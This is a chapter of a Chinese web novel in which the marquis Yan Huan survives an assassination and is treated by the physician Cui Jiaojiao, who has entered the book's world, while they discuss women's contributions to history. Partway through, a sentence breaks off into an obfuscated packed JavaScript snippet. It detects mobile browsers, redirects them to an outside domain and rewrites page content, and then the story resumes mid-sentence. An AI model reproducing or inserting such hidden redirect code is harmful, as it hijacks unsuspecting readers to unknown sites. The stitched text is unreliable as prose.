春胜长夏，长夏胜冬。
一转眼，定州入伏，六月里天光正好，残喘近两季的肺病也算是止住了。
阎涣原是请了恩假回夏州故乡祭祖，因他名声实在不好，朝中又树敌颇多，此行便只带了堂弟阎泱在内的五六名近卫罢了。本是一路东北而行，前几日就该回到泗京千岁侯府上的，赶巧定州肺痨蔓延，他这才于客栈歇脚。
留宿之时，掌柜的见这一行人皆是黑衣束袖，杀气四溢，便猜到了为首的这黑袍描金绣了芍药花的公子定然出身不凡。本是收拾出一间上好的厢房，偏阎涣只想要那久无人去的阁楼里挤着。
他哪里知晓，阎涣是极怕死的。
每夜就寝时，阎泱必然亲手为堂兄点上一盏润了青油的蜡烛，以保火光长明不灭。倘若室内黯淡无光，他是睡不着的。
幼时，阎涣孤身在承恩侯府中长大，那年他不过是八岁的孩童而已，怎受得了长夜寂寥，鬼火邪风肆虐，又如何能安心合上眼，梦见一双远去的父母呢？
多日来屈居逼仄的阁楼里，他也有些闷了。
这夜未眠，阎涣见一旁的堂弟好容易入睡，也不想打扰，只唤了门外守夜的两个守卫陪着，到外面走一走。
来了这些时日，倒是头一回长街散步。近来疫病稍退，各家各户都紧闭门窗，唯恐瘟疫卷土重来，月下无人，倒是成全了阎涣的心意。
他于世间漂浮二十八载，到头来却连一个希望他活下去的人都没有。
“千岁，夜里风大，不如早些回罢。”
阎涣顿住步子，一旁刚开了口的近卫立刻抱拳，单膝跪地，挺直了身板道：
“属下多嘴了，千岁息怒。”
阎涣抬头望月，心中怅然，不知颍州的芍药花何时还会再盛开。
“罢了。”
他摆摆手，近卫迅速起身，再度回到他的身侧。
阎涣回身，朝着客栈的方向缓步走回。夜晚的石砖地触手生凉，他踏着步子，一双南锦做成的靴履于衣摆下时不时显现出星辰般的晶点。
这是朝贡的物件，满贺朝除了少帝崔宥的国库里有几匹，唯一的一块料子，都被阎涣踩在了脚下。
“谁在那！”
近卫忽地喊了一声，顷刻间，远处房顶上一抹黑影现身。不等阎涣张口发号施令，两名近卫如长剑出鞘般闪了出去，一阵刀枪打斗声响起。
又来了。
阎涣眼皮一掀，只叹这些刺客，不自量力。
他步子一缓，只听身后簌簌疾风擦过脆叶，一阵呼啸自耳旁穿过。阎涣一个急转身，一个浑身包裹得不留缝隙的黑衣人便是当头劈下一剑。阎涣长臂抬手挡在脸前，只觉寒光乍现刺亮双眼。
空手接了这一记，阎涣不由得发出一个闷哼。
一剑不成，刺客又双手执刃，左右砍去，只是他小瞧了阎涣。他毕竟曾是一员武将，虽眼下手中并无武器，只踏步躲避，也纠缠了一阵。
几番下来，刺客见不得手，心急如焚，高举长剑，却被阎涣一个转身，猛地踢上他的腰腹，将那人踹出二三米来。
‘嗖——’
叶片疾驰之声携风而过，黑衣人低头看了看腹部刺入的长剑，怒目圆睁向后倒去。
阎涣走上前去，望着这人如俯视蝼蚁。
“能伤孤一剑，你也算死而无憾了。”
那刺客在地上颤抖挣扎着，如同案板上剔鳞待宰的鱼。
“阎王...你...不得好死...”
他抬了抬手，长剑此时于他而言已沉重不堪，他终究还是松了手，在夏夜里不甘地咽了气，只是那双裸露在外的双眼仍旧瞪得极大，瞧久了，让人脊背发凉。
阎王。
那是民间百姓和诸国中人私下给他取的名字。
倒是合适。
毕竟他双手染了不知多少人的血，于百姓而言，早便成了自地狱而来索命的阎王爷。
两名近卫抱拳跪地，直言求千岁爷降罪，罚二人失职之过。要知道，阎泱守在他身侧之时，他从未添过任何伤痕，经此一事，便是阎涣放过了，阎泱也必不会轻饶。
“起来。”
侍卫执意不从。
“去请个大夫来，孤要包扎。”
近卫赶忙领命，其中一个匆匆而去，留一人护送阎涣回了阁楼。
果不其然，阎泱惊醒见堂兄不在，正要出门去寻，便见近卫护着负伤的阎涣回了来。不待近卫告罪，阎泱已拔剑相向，一副要近卫偿命的架势。
“好了。”
阎泱依旧固执地立在原地。
“都是孤亲手带出的亲兵，莫要刁难，他也是为追刺客才让那人钻了空子。”
听罢，阎泱才收刀入鞘，叫那近卫回泗京领二十军棍的罚，又摆手叫他出去了。而后，见阎涣不语，阎泱又至其身侧，问道：
“千岁可查问了刺客底细？”
阎涣抿了口冷茶，芳香入喉。
“你觉得呢？”
阎泱后知后觉住了嘴。
这位千岁侯是从不探问刺客是由何人指使的，每每遇刺，便是一剑封喉，直取性命。并非为了什么旁的缘由，只是盼着他死的人连衽成帷，早便不必追问。
“千...大人。”
门外叩门声起，打断二人思绪。
阎泱问何事，近卫便答，张郎中还在照料未痊愈的病患，暂时无法离身，便遣了女徒前来，为大人治伤。
阎涣听见女徒二字，脑中不由得显现出她的身影来。
他稍一点头，阎泱会意，大步前去，拉开门来一瞧，是个素白衣衫的女子立在门外，只是白纱蒙面，看不真切样貌。只是她瞧着身量纤纤，也不知哪来的力气连着照料肺痨的病人这些时日的。
“姑娘请。”
阎泱侧过身来让路，而后退到房门外，与其余侍从一并守在阁楼之外的廊上。
崔姣姣提着一个药箱走近，只见本就无甚光亮的狭窄房间内，高大的男子端坐桌前，烛火幽幽照亮他周围的几寸天地，映得他的脸模糊不清。
“我为大人上药，还请大人将伤口示出。”
崔姣姣提了下裙摆坐在木椅上，又将药箱搁在桌上，拉开抽屉的时候，她余光瞥见面前这人浑身绷紧了些，眼神不经意间紧盯着药箱处，似乎在警惕什么。
这人，真是奇怪。
崔姣姣不知面前这人是何身份，秉持着不作死就不会死的原则，连抬头多看他一眼都无。只是不知晓处，阎涣抬眼打量着她，这位新得美誉的‘玉面菩萨’。
夏夜寂热，崔姣姣身穿几层的衣裙，漏液匆匆赶来，只觉得额上不断有汗珠渗出，顿时烦乱起来。
“若热，便揭下覆面罢，无妨。”
崔姣姣道谢着，抬手取下了不透风的白纱。阎涣有些好奇地侧过头去盯着她，恰好屋外长风吹入，揭下她与他间的第一层隔帘。
云孤碧落，月淡寒空，目剪秋水，唇夺春桃。
她竟是一副雾里看花的美人面。
崔姣姣抬眼看他，此刻流苏花自窗外吹入屋内，繁花四散恍如冬日飞雪，芳香袭人，静掀旧茶凉后余韵。
好一个，玉面菩萨。
这是她第一次看他，此时还不知晓他便是令自己苦恼多时的千岁侯。
崔姣姣怔愣着出了神，沉在他一双晦暗不明的冷眸中，那其中透着审视，溢着孤傲的寒光，还夹杂着一闪而过的惊诧，不过更多的，是瞧不清楚的漠然。
他高束发冠，乌黑的长发梳得整洁，眉骨微耸如山峦的轮廓，烛光摇曳，崔姣姣勉强透过夜色，看出他有一对茶褐色的眸子。
“大人？”
她出声轻唤，面前的阎涣回过神来，单手挽起右手的袖口，宽袖向上一掀，露出被利刃划开的白色里衣来。接着卷起沾染了血迹的白衣，一道伤痕便展露在崔姣姣面前。
“不算严重，伤口不深，我给大人上药包扎，不过几日便能痊愈了。”
阎涣点点头，再未开口。
崔姣姣拿出师父给的白玉膏搁在桌上，而后取了一旁阎泱备好的清水，将帕子沾湿了，又拧去些水分，为他拭走伤口上还未干涸的血迹。
“你不怕？”
阎涣开口问。
“怕什么，剑伤吗？”
崔姣姣并未抬头，只是认真地将帕子折出一个三角形的尖端来，如此他便不会太痛。
见她如此镇定自若，阎涣再开口：
“我知晓你是谁。”
崔姣姣手中动作一顿，呼吸一滞，佯装镇定地继续为他擦拭伤口，心中生出担忧来，莫不是哪位见过崔瓷的皇室中人，这便要暴露了吗。
阎涣留意到她微小的动作，神色狐疑，复又平静下来。
“玉面菩萨，果然妙手，治伤竟丝毫不痛。”
崔姣姣心中的石头落了地，所幸，不过是一个听了自己救治百姓事迹的官员罢了。
“姑娘瞧着年纪尚轻，只身在定州施药治病，家中父母难道不挂心？”
父母...
想起书中崔瓷的一生波折遭遇，她心中惆怅，忧愁之色显现眉梢，开口道：
“生母早亡，父亲并不重视，对我从不曾管过一日。如今也是要去寻亲，路遇定州百姓受苦，心中不忍，这便暂留此地，帮衬一二。”
她不知晓，这几句竟引出阎涣心中回忆。
今夜陡然遇刺，他忽然觉得好累，合上眼，黑暗中却不受控制地浮现出那一幕来，那十八年来反反复复折磨着他的一幕。
彼时，年轻气盛的阎垣身居节度使要职，他随军出征，挂着安南将军的职位，因不惧艰险深入敌营，探取关键情报，使贺朝终获大胜。阎垣得了头功，帝王召其入宫受封侯爵之位，享万世称颂。
而后...
阎涣觉得头痛欲裂，眼皮跳个不停。
那年他八岁，在家中欢欢喜喜地等待父亲归家，他记得自己等了很久很久，自日出等到日落，等到街上人潮熙攘到寂静无声。
最终，等来了父亲的尸体。
白布之下，盖着他尚不满三十岁的父亲。
父亲生得峻拔如山，多年来苦练剑术，阎涣想不明白，为何他的尸体上却满是伤口，密密麻麻，每一道都刺痛着阎涣的双眼。
他摇晃着父亲想问个究竟，可父亲的伤口再也无法愈合，关于那个黄昏的一切，再也无人应答。
同一日，母亲下落不明，如人间蒸发般，再也遍寻不到痕迹。
不过数月，外祖父也死了，世上最后一个疼爱他的人也不明不白的死了。
十八年过去，关于那年的一切早已与血水、泪水混在一起。阎涣每每闭上眼，一片漆黑中，他总能梦见那俊逸不凡的父亲，白皙的容颜不等泪水干却，忽然裂开无数
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615300|172205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个尖细的剑伤，汩汩地冒着赤红的鲜血。
八岁的他张开双臂胡乱抓着，却在父亲的身后，看见那远远站着的母亲，她一言不发，哪怕在梦中，也从不曾张口回答。
他很想问一问骆绯，为何不告而别。
是否真如世人所说，见阎氏家破人亡，抛夫弃子而去了。
十八年，他已记不清母亲的样子了，只模糊地自梦中想起，他那一双好看的狐狸眼，是母亲赠与他的。
世上唯独两个与他血脉相连的人，在同一日弃他而去了。
“大人？”
“大人？”
阎涣浑身猛然一抖，装着白玉膏的瓷瓶险些滑落在地，崔姣姣连忙握住，这才免于弄出声响。她细看去，见阎涣大口喘着粗气，眸中慌乱，想来是做噩梦了罢。
崔姣姣柔声对着他道：
“大人，伤口祛了残血，我现在为大人上药。”
阎涣刚回过神来，胡乱地点了点头。
烛火燃了三分之一，火焰随微风摇晃着，将他的面容映照得忽明忽灭，看不清神情。
“姑娘自定州而去，今后有何打算？”
崔姣姣陷入沉思，想起自己迟迟无法破解关窍回到书外的世界，正苦闷着。她改了崔瓷的路子，眼下擅自来了定州，还不知晓何时才能遇见那位传说中的帝师千岁侯。
若说打算，倘若能稳定那位的心智，保住自己的小命来，还有旁的什么精力，她大概想...帮帮他。
崔姣姣内心暗暗地想，她早看过每个人的结局，知晓阎涣一生悲苦却无人理解，至死都被天下人唾骂，而辜负他全家之人却能逍遥在外，史书流芳。
“我想...为贺朝做点什么。”
阎涣以为自己听错了，一双茶色的眸子闪了闪，静待下文。
“大人瞧着不是个小官小吏，既会随身带着近卫，想来是极其惜命的，为何会放心让我独自一人与大人在此？”
听了此话，阎涣垂眸一笑，似乎并不以为意，道：
“你是女子，对我不会有威胁。”
崔姣姣心中有些不满，忍不住争辩道：
“大人错了。”
她目光坚毅，直视他的眼睛。
“古来天下多征战，女子为保护家国所奉献的绝不比男子少半分。史书中记载的英雄从不缺少女子的身影，前朝便出过女将军，乱世中还先后有过女宰相。”
“千年来，多少王朝君主暴毙，独留幼子号令一国，导致江山动摇。若无像周皇后、李太后那样的巾帼女子坐镇朝堂、匡扶幼帝，而今贺朝国土早不知被瓜分多少。”
她说着，不免激动起来，声音也大了些。
“大人身为男子，可知身处如今的年月里，女子的艰难？便是说最小的，若没有女子照料家中琐事，男子何能安心读书、做官，又或是外出谋生？”
“您是官员，吃喝都是百姓供养，谋的也是百姓的安康。若您是个好官，也请放眼去，多看女子的牺牲与难处，才能明白稳固一朝一国，究竟还需要做些什么。”
阎涣哑口，凝眸看着面前义正言辞的崔姣姣，只见她挺直了身板，所言的每一字一句，都是他极少会听人说的。
为官近十载，他确是极少听到官员将女子捧起来夸赞。
“你说得对。”
崔姣姣顿住，似乎从未想过一个设定在古代的男人能明白她所说的这些话。
“大人说什么？”
阎涣向前探了探身子，认真地盯着她的眼睛，开口道：
“我说，我很认同你说的话。”
他停顿了一下，复而开口：
“自古女子多艰难，少有人称颂女子功德。就连你所说的周皇后、李太后等人，在史书中甚至没能留下名字，唯有丈夫带给她们的称谓。”
崔姣姣为他上药的手停在空中，似乎在期待什么似的，问：
“若是大人执笔，可会记下这些女子的姓名和功绩？”
阎涣思索一瞬，无比认真地点了点头，道：
“于社稷有功者，不论出身、不论功绩，都应被后人铭记。我自民间擢选新兵之时，也从不因其是哪个侯爵官员家的公子便叫他高出旁人一截来。”
“战场多凶险，每一次开拔都可能是最后一面，若有偏私，处事不公，将士们必然寒心。长此以往，贺朝将军心不齐，灭亡则近在眼前。”
崔姣姣没想过他会同自己说如此多，毕竟他瞧着寡言少语，实在不像会与人交心之人。
看着她出神的模样，阎涣也有一瞬的后悔，是否与她透露太多。可望向她时，总觉得那双满含水波的眼睛，让人忍不住倾诉其间，一吐疲倦。
“在想什么？”
他问，崔姣姣回过神来，收起心中思绪，只答：
“我在想一位...故人。”
她实在不知如何描述这位从未谋面的千岁侯。
“他很可怜，却没有人觉得他可怜，我想在这乱世里活下去，可也想分出些力气，帮他洗清冤屈。”
阎涣仿佛听到一个和自己无比重合的故事，故而微眯着眼，心中想要长叹一口气，可到了嘴边，却成了一声嗤笑。
“洗清冤屈？”
他唇边勾起，嘲弄般笑着，怎么也停不下来，良久，才叹息一声，抬眸看她。
“玉面菩萨，真是不知天高地厚。”